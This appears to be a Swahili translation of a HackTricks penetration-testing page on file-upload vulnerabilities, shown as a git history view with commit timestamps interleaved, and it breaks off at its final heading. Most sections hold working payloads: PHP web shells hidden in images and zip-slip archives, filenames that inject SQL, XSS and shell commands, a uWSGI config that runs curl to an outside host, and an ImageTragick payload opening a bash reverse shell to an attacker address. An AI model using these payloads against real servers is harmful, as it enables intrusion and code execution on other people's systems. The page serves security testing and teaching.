hacktricks/pentesting-web/file-upload/README.md

349 lines
26 KiB
Markdown
Raw Normal View History

# Kupakia Faili
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-01-01 17:15:10 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
2024-02-11 02:13:58 +00:00
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-04-30 20:31:18 +00:00
Ikiwa una nia ya **kazi ya kudukua** na kudukua yasiyodukuliwa - **tunakupa kazi!** (_inahitajika uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha_).
2022-04-30 20:31:18 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-30 20:31:18 +00:00
## Mbinu Mkuu ya Kupakia Faili
2020-10-15 13:16:06 +00:00
Vifaa vingine vya kupendeza:
2021-01-28 13:23:35 +00:00
2022-10-16 23:16:14 +00:00
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
* **Kufanya Kazi katika PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
2021-02-11 00:14:31 +00:00
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
2021-01-28 13:23:35 +00:00
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
2021-02-11 00:14:31 +00:00
* **Flash**: _.swf_
* **Perl**: _.pl, .cgi_
* **Erlang Yaws Web Server**: _.yaws_
2021-01-28 13:23:35 +00:00
### Kupuuza Uchunguzi wa Vifaa vya Faili
1. Ikiwa wanatumia, **angalia** **vifaa vya awali.** Jaribu pia kwa kutumia herufi **kubwa**: _pHp, .pHP5, .PhAr ..._
2. _Angalia **kuongeza kifaa halali kabla** ya kifaa cha utekelezaji (tumia vifaa vya awali pia):_
* _faili.png.php_
* _faili.png.Php5_
3. Jaribu kuongeza **herufi maalum mwishoni.** Unaweza kutumia Burp kufanya **bruteforce** kwa herufi zote za **ascii** na **Unicode**. (_Tambua kwamba unaweza pia kujaribu kutumia **vifaa vilivyotajwa awali**_)
* _faili.php%20_
* _faili.php%0a_
* _faili.php%00_
* _faili.php%0d%0a_
* _faili.php/_
* _faili.php.\\_
* _faili._
* _faili.php...._
* _faili.pHp5...._
4. Jaribu kupuuza kinga kwa **kudanganya kipambatisho cha kifaa** cha upande wa seva kwa mbinu kama **kuhifadhi** **kifaa** au **kuongeza takataka** (herufi za **null**) kati ya vifaa. _Unaweza pia kutumia **vifaa vilivyotajwa awali** kuandaa mzigo bora._
* _faili.png.php_
* _faili.png.pHp5_
* _faili.php#.png_
* _faili.php%00.png_
* _faili.php\x00.png_
* _faili.php%0a.png_
* _faili.php%0d%0a.png_
* _faili.phpJunk123png_
5. Ongeza **safu nyingine ya vifaa** kwa uchunguzi wa awali:
* _faili.png.jpg.php_
* _faili.php%00.png%00.jpg_
6. Jaribu kuweka **kifaa cha utekelezaji kabla ya kifaa halali** na omba ili seva iwe na hitilafu. (inayoweza kutumika kudukua hitilafu za Apache ambapo chochote chenye kifaa cha utekelezaji\*\* _**.php**_**, lakini** sio lazima iishie katika .php\*\* itatekeleza kanuni):
* _kwa mfano: faili.php.png_
7. Kutumia **Mto wa Data Mbadala wa NTFS (ADS)** katika **Windows**. Katika kesi hii, herufi ya kufuatia “:” itawekwa baada ya kifaa kilichozuiliwa na kabla ya kifaa kilichoruhusiwa. Matokeo yake, **faili tupu yenye kifaa kilichozuiliwa** itaundwa kwenye seva (k.m. “faili.asax:.jpg”). Faili hii inaweza kuhaririwa baadaye kwa kutumia mbinu zingine kama kutumia jina lake fupi. Mtindo wa “**::$data**” pia unaweza kutumika kuunda faili zisizo tupu. Kwa hivyo, kuongeza herufi ya kufuatia baada ya mtindo huu kunaweza pia kuwa na manufaa kwa kupuuza vizuizi zaidi (.k.m. “faili.asp::$data.”)
8. Jaribu kuvunja mipaka ya jina la faili. Kifaa halali kinakatwa. Na PHP yenye nia mbaya inabaki. AAA<--SNIP-->AAA.php
2024-02-11 02:13:58 +00:00
```
# Linux kiwango cha juu 255 herufi
2024-02-11 02:13:58 +00:00
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # punguza 4 hapa na ongeza .png
# Pakia faili na angalia jibu ni herufi ngapi inaruhusu. Hebu sema 236
2024-02-11 02:13:58 +00:00
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-02-11 02:13:58 +00:00
# Unda mzigo
AAA<--SNIP 232 A-->AAA.php.png
```
### Kupita kwa Aina ya Yaliyomo, Nambari ya Ajabu, Ufupishaji & Kurekebisha
2024-02-11 02:13:58 +00:00
* Pita **maelezo ya Aina ya Yaliyomo** kwa kuweka **thamani** ya **Aina ya Yaliyomo** ya **kichwa** kuwa: _picha/png_, _maandishi/rahisi_, maombi/octet-stream_
1. Orodha ya maneno ya Aina ya Yaliyomo: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* Pita ukaguzi wa **nambari ya ajabu** kwa kuongeza mwanzoni mwa faili **bayti za picha halisi** (kuchanganya amri ya _file_). Au weka kabati ndani ya **metadata**:\
2024-02-11 02:13:58 +00:00
`exiftool -Comment="<?php echo 'Amri:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` au unaweza pia **kuweka mzigo moja kwa moja** katika picha:\
2024-02-11 02:13:58 +00:00
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* Ikiwa **ufupishaji unawekwa kwenye picha yako**, kwa mfano kutumia maktaba za PHP kama [PHP-GD](https://www.php.net/manual/fr/book.image.php), mbinu za awali hazitakuwa na manufaa. Hata hivyo, unaweza kutumia **kitengo cha PLTE** [**mbinu iliyoelezwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandishi ambayo yata **kupita kwenye ufupishaji**.
2024-02-11 02:13:58 +00:00
* [**Github na nambari**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* Ukurasa wa wavuti unaweza pia kuwa unafanya **urekebishaji** wa **picha**, kwa kutumia kwa mfano PHP-GD kazi za `imagecopyresized` au `imagecopyresampled`. Hata hivyo, unaweza kutumia **kitengo cha IDAT** [**mtego uliofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandishi ambayo yata **kupita kwenye ufupishaji**.
2024-02-11 02:13:58 +00:00
* [**Github na nambari**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Mbinu nyingine ya kuunda mzigo ambao **utapita kwenye urekebishaji wa picha**, kutumia kazi ya PHP-GD `thumbnailImage`. Hata hivyo, unaweza kutumia **kitengo cha tEXt** [**mtego uliofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandishi ambayo yata **kupita kwenye ufupishaji**.
2024-02-11 02:13:58 +00:00
* [**Github na nambari**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Mbinu Nyingine za Kuchunguza
2024-02-11 02:13:58 +00:00
* Tafuta udhaifu wa **kubadilisha jina** la faili tayari iliyopakiwa (kubadilisha kificho).
* Tafuta udhaifu wa **Ujumuishaji wa Faili za Lokali** ili kutekeleza mlango wa nyuma.
2024-02-11 02:13:58 +00:00
* **Ufunuo wa Taarifa Inayowezekana**:
1. Pakia **mara kadhaa** (na **wakati huo huo**) **faili ile ile** na **jina moja**
2. Pakia faili yenye **jina** la **faili** au **folda** ambayo **tayari ipo**
3. Pakia faili na **“.”, “..”, au “…” kama jina lake**. Kwa mfano, katika Apache kwenye **Windows**, ikiwa programu inahifadhi faili zilizopakiwa kwenye saraka ya “/www/uploads/”, jina la faili “.” litasababisha faili iitwayo “uploads” katika saraka ya “/www/”.
4. Pakia faili ambayo haiwezi kufutwa kwa urahisi kama **“…:.jpg”** katika **NTFS**. (Windows)
5. Pakia faili katika **Windows** yenye **herufi zisizofaa** kama `|<>*?”` katika jina lake. (Windows)
6. Pakia faili katika **Windows** ukitumia **majina yaliyohifadhiwa** (**yaliyokatazwa**) kama CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, na LPT9.
* Jaribu pia **kupakia faili inayoweza kutekelezwa** (.exe) au **.html** (isiyo ya shaka) ambayo **itaendesha kificho** kwa bahati mbaya ikifunguliwa na muathiriwa.
2024-02-11 02:13:58 +00:00
### Mbinu Maalum za Uzalishaji
2024-02-11 02:13:58 +00:00
Ikiwa unajaribu kupakia faili kwenye **seva ya PHP**, [angalia **mtego wa .htaccess** kutekeleza kificho](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Ikiwa unajaribu kupakia faili kwenye seva ya **ASP**, [angalia **mtego wa .config** kutekeleza kificho](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
2024-02-11 02:13:58 +00:00
Faili za `.phar` ni kama `.jar` kwa java, lakini kwa php, na zinaweza **kutumika kama faili ya php** (kuiendesha na php, au kuiongeza ndani ya hati...)
2024-02-11 02:13:58 +00:00
Upanuzi wa `.inc` mara nyingi hutumiwa kwa faili za php ambazo hutumiwa tu **kuagiza faili**, hivyo, kwa wakati fulani, mtu anaweza kuruhusu **upanuzi huu kutekelezwa**.
2020-10-15 13:16:06 +00:00
## **Jetty RCE**
2022-08-04 20:47:35 +00:00
Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata [RCE kwa sababu **faili mpya za \*.xml na \*.war zinashughulikiwa moja kwa moja**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Kwa hivyo, kama ilivyotajwa kwenye picha ifuatayo, pakia faili ya XML kwa `$JETTY_BASE/webapps/` na tumaini kupata kabati!
2022-08-04 20:47:35 +00:00
2024-02-05 20:00:40 +00:00
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>)
2022-08-04 20:47:35 +00:00
2023-03-02 09:08:19 +00:00
## **uWSGI RCE**
Kwa uchunguzi wa kina wa udhaifu huu angalia utafiti wa asili: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
2023-03-02 09:08:19 +00:00
Udhaifu wa Utekelezaji wa Amri kwa Mbali (RCE) unaweza kutumiwa kwenye seva za uWSGI ikiwa mtu ana uwezo wa kurekebisha faili ya usanidi ya `.ini`. Faili za usanidi wa uWSGI hutumia sintaksia maalum kuingiza "vielelezo vya uchawi", nafasi tupu, na waendeshaji. Hasa, waendeshaji wa '@', kutumika kama `@(jina la faili)`, umepangwa kuingiza maudhui ya faili. Kati ya mifumo mbalimbali inayoungwa mkono katika uWSGI, mpango wa "exec" ni hasa wenye nguvu, kuruhusu kusoma data kutoka kwa pato la kawaida la mchakato. Kipengele hiki kinaweza kutumiwa kwa madhumuni mabaya kama Utekelezaji wa Amri kwa Mbali au Uandishi/Soma wa Faili wa Kiholela wakati faili ya usanidi ya `.ini` inashughulikiwa.
2024-02-05 20:00:40 +00:00
Zingatia mfano ufuatao wa faili hatari ya `uwsgi.ini`, ikionyesha mifumo mbalimbali:
2023-03-02 09:08:19 +00:00
```ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
2023-03-05 10:15:19 +00:00
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
2023-03-02 09:08:19 +00:00
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Utekelezaji wa mzigo unatokea wakati wa kuchambua faili ya usanidi. Ili usanidi uweze kuanzishwa na kuchambuliwa, mchakato wa uWSGI lazima uanzishwe upya (labda baada ya kushindwa au kutokana na shambulio la Kukataa Huduma) au faili lazima iwe imewekwa kwa ajili ya kujipakia tena. Kipengele cha kujipakia tena, ikiwa kimeanzishwa, kinajipakia upya faili kwa vipindi vilivyowekwa baada ya kugundua mabadiliko.
2023-03-02 09:08:19 +00:00
Ni muhimu kuelewa asili ya kulegea kwa uchambuzi wa faili ya usanidi wa uWSGI. Hasa, mzigo uliojadiliwa unaweza kuingizwa katika faili ya binary (kama picha au PDF), hivyo kueneza wigo wa unyanyasaji wa uwezekano.
2023-03-02 09:08:19 +00:00
## **Mbinu ya Kutuma Faili/Trick ya SSRF ya wget**
2020-10-15 13:16:06 +00:00
Katika baadhi ya matukio unaweza kugundua kuwa server inatumia **`wget`** kudownload faili na unaweza **kuashiria** **URL**. Katika hali hizi, nambari inaweza kuwa inachunguza kwamba kificho cha faili zilizopakuliwa iko ndani ya orodha nyeupe ili kuhakikisha kuwa faili zinazoruhusiwa tu ndizo zitakazopakuliwa. Hata hivyo, **uchunguzi huu unaweza kukiukwa.**\
**Urefu** wa **jina la faili** katika **linux** ni **255**, hata hivyo, **wget** hukata majina ya faili hadi **236** herufi. Unaweza **kudownload faili iitwayo "A"\*232+".php"+".gif"**, jina hili la faili litapita **uchunguzi** (kama katika mfano huu **".gif"** ni kielezo **sahihi**) lakini `wget` ita **badilisha** jina la faili kuwa **"A"\*232+".php"**.
2020-10-15 13:16:06 +00:00
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
```
```bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php
2024-02-11 02:13:58 +00:00
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-10-15 13:16:06 +00:00
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Tafadhali elewa kwamba **chaguo lingine** unaloweza kufikiria kwa kudanganya ukaguzi huu ni kufanya **seva ya HTTP ielekeze kwa faili tofauti**, hivyo URL ya awali itadanganya ukaguzi kisha wget itadownload faili iliyeelekezwa na jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameter** `--trust-server-names` kwa sababu **wget itadownload ukurasa ulioelekezwa kwa jina la faili iliyotajwa kwenye URL ya awali**.
## Vifaa
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) ni chombo imara kilichoundwa kusaidia Pentesters na Bug Hunters katika kujaribu mifumo ya kupakia faili. Inatumia njia mbalimbali za tuzo za mdudu kusahilisha mchakato wa kutambua na kutumia udhaifu, kuhakikisha tathmini kamili ya maombi ya wavuti.
## Kutoka kwa kupakia faili hadi udhaifu mwingine
2020-10-15 13:16:06 +00:00
* Weka **jina la faili** kuwa `../../../tmp/lol.png` na jaribu kufikia **kuvuka njia**
* Weka **jina la faili** kuwa `sleep(10)-- -.jpg` na unaweza kufanikiwa **SQL injection**
2024-02-11 02:13:58 +00:00
* Weka **jina la faili** kuwa `<svg onload=alert(document.domain)>` ili kufikia XSS
* Weka **jina la faili** kuwa `; sleep 10;` kujaribu baadhi ya kuingiza amri (zaidi [mbinu za kuingiza amri hapa](../command-injection.md))
2024-02-11 02:13:58 +00:00
* [**XSS** katika kupakia faili ya picha (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
* Kupakia faili ya **JS** + **XSS** = [Udanganyifu wa **Wafanyikazi wa Huduma**](../xss-cross-site-scripting/#xss-abusing-service-workers)
2024-02-11 02:13:58 +00:00
* [**XXE katika kupakia svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Uelekezaji Wazi** kupitia kupakia faili ya svg](../open-redirect.md#open-redirect-uploading-svg-files)
* Jaribu **mizigo tofauti ya svg** kutoka [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
2024-02-11 02:13:58 +00:00
* [Udhaifu maarufu wa **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Ikiwa unaweza **kuashiria seva ya wavuti kuchukua picha kutoka kwa URL** unaweza kujaribu kutumia [SSRF](../ssrf-server-side-request-forgery/). Ikiwa **picha** hii itakuwa **imehifadhiwa** kwenye tovuti fulani ya **umma**, unaweza pia kuashiria URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba habari ya kila mtembeleaji**.
* [**XXE na CORS** kudanganya na kupakia PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
* PDF zilizoundwa kwa ustadi kwa XSS: Ukurasa ufuatao unaonyesha jinsi ya **kuingiza data ya PDF ili kupata utekelezaji wa JS**](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDF unaweza kuandaa PDF kadhaa ambazo zitatekeleza JS arbitrali kufuata maelekezo yaliyotolewa.
* Pakia yaliyomo ya \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) ili kuchunguza ikiwa seva ina **antivirus** yoyote
* Angalia ikiwa kuna kikomo cha **ukubwa** wakati wa kupakia faili
2020-10-15 13:16:06 +00:00
Hapa kuna orodha ya juu 10 ya vitu unavyoweza kufikia kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
2020-10-15 13:16:06 +00:00
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
3. **GIF**: Stored XSS / SSRF
4. **CSV**: CSV injection
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : HTML injection / XSS / Uelekezaji wazi
8. **PNG / JPEG**: Shambulio la mafuriko ya pikseli (DoS)
9. **ZIP**: RCE kupitia LFI / DoS
2020-10-15 13:16:06 +00:00
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Kifaa cha Burp
{% embed url="https://github.com/portswigger/upload-scanner" %}
## Vichwa vya Kichwa vya Ajaabu
2021-04-17 15:03:24 +00:00
* **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
* **JPG**: `"\xff\xd8\xff"`
2024-02-11 02:13:58 +00:00
Rejea [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) kwa aina nyingine za faili.
### Kupakia Faili ya Zip/Tar Kiotomatiki Kufunguliwa
2020-10-15 13:16:06 +00:00
Ikiwa unaweza kupakia ZIP ambayo itafunguliwa kiotomatiki kwenye seva, unaweza kufanya mambo 2:
2020-10-15 13:16:06 +00:00
#### Kiungo cha Simulizi
2020-10-15 13:16:06 +00:00
Pakia kiungo kinachojumuisha viungo vya laini kwa faili zingine, kisha, kufikia faili zilizofunguliwa utafikia faili zilizounganishwa:
```
2020-10-15 13:16:06 +00:00
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
2021-12-05 18:16:27 +00:00
tar -cvf test.tar symindex.txt
2020-10-15 13:16:06 +00:00
```
### Kufungua katika folda tofauti
2020-10-15 13:16:06 +00:00
Uumbaji usiotarajiwa wa faili katika folda wakati wa kufungua ni suala kubwa. Licha ya dhana za awali kwamba usanidi huu unaweza kulinda dhidi ya utekelezaji wa amri kwenye OS kupitia kupakia faili zenye nia mbaya, msaada wa ujazo wa hiraki na uwezo wa kuvuka folda wa muundo wa faili za ZIP unaweza kutumiwa vibaya. Hii inaruhusu wachomaji kukiuka vizuizi na kutoroka kutoka kwa folda salama za kupakia kwa kubadilisha utendaji wa kufungua wa programu iliyolengwa.
2020-10-15 13:16:06 +00:00
Exploit iliyotengenezwa kiotomatiki kwa kufanya faili kama hizo inapatikana kwenye [**evilarc kwenye GitHub**](https://github.com/ptoomey3/evilarc). Programu hii inaweza kutumika kama inavyoonyeshwa:
2020-10-15 13:16:06 +00:00
```python
2024-02-05 20:00:40 +00:00
# Listing available options
2021-12-05 18:16:27 +00:00
python2 evilarc.py -h
2024-02-05 20:00:40 +00:00
# Creating a malicious archive
2021-12-05 18:16:27 +00:00
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
2020-10-15 13:16:06 +00:00
```
Zaidi ya hayo, **mzaha wa symlink na evilarc** ni chaguo. Ikiwa lengo ni kulenga faili kama vile `/flag.txt`, symlink kwa faili hiyo inapaswa kuundwa kwenye mfumo wako. Hii inahakikisha kwamba evilarc haina kukutana na makosa wakati wa operesheni yake.
2020-10-15 13:16:06 +00:00
Hapa chini ni mfano wa nambari ya Python inayotumiwa kuunda faili ya zip yenye nia mbaya:
2020-10-15 13:16:06 +00:00
```python
#!/usr/bin/python
import zipfile
from io import BytesIO
2020-10-15 13:16:06 +00:00
def create_zip():
2024-02-11 02:13:58 +00:00
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
2020-10-15 13:16:06 +00:00
```
**Kutumia ujazo kwa kunyunyizia faili**
2020-10-15 13:16:06 +00:00
2024-02-11 02:13:58 +00:00
Kwa maelezo zaidi **angalia chapisho la asili katika**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
2020-10-15 13:16:06 +00:00
1. **Kujenga Shell ya PHP**: Msimbo wa PHP unaoandikwa kutekeleza amri zilizopitishwa kupitia kipengele cha `$_REQUEST`.
2020-10-15 13:16:06 +00:00
2024-02-11 02:13:58 +00:00
```php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
```
2. **Kunyunyizia Faili na Uundaji wa Faili iliyosongwa**: Faili nyingi hujengwa na kiunzi cha zip kinajengwa kinao vijumbe hivi.
2020-10-15 13:16:06 +00:00
2024-02-11 02:13:58 +00:00
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Ubadilishaji kwa Mhariri wa Hex au vi**: Majina ya faili ndani ya zip hubadilishwa kutumia vi au mhariri wa hex, kubadilisha "xxA" kuwa "../" kwa kuvuka saraka.
2020-10-15 13:16:06 +00:00
2024-02-11 02:13:58 +00:00
```bash
:set modifiable
:%s/xxA/..\//g
:x!
```
2020-10-15 13:16:06 +00:00
2022-05-01 16:32:23 +00:00
## ImageTragic
2020-10-15 13:16:06 +00:00
Pakia yaliyomo haya na kifaa cha picha ili kutumia udhaifu **(ImageMagick, 7.0.1-1)** (kutoka kwa [exploit](https://www.exploit-db.com/exploits/39767))
```
2020-10-15 13:16:06 +00:00
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
2024-02-11 02:13:58 +00:00
## Kuingiza PHP Shell kwenye PNG
2020-10-15 13:16:06 +00:00
Kuingiza PHP shell katika kipande cha IDAT cha faili ya PNG inaweza kufanikiwa kuepuka baadhi ya operesheni za usindikaji wa picha. Vipengele `imagecopyresized` na `imagecopyresampled` kutoka PHP-GD ni muhimu katika muktadha huu, kwani mara nyingi hutumika kwa kurekebisha ukubwa na kupangilia upya picha. Uwezo wa PHP shell iliyokita ndani kubaki bila kuguswa na operesheni hizi ni faida kubwa kwa matumizi fulani.
2024-02-05 20:00:40 +00:00
Uchunguzi wa kina wa mbinu hii, ikiwa ni pamoja na mbinu yake na matumizi yanayowezekana, umeelezwa katika makala ifuatayo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Rasilimali hii inatoa uelewa wa kina wa mchakato huu na matokeo yake.
2020-10-15 13:16:06 +00:00
Taarifa zaidi katika: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
2020-10-15 13:16:06 +00:00
2024-02-11 02:13:58 +00:00
## Faili za Polyglot
2020-10-15 13:16:06 +00:00
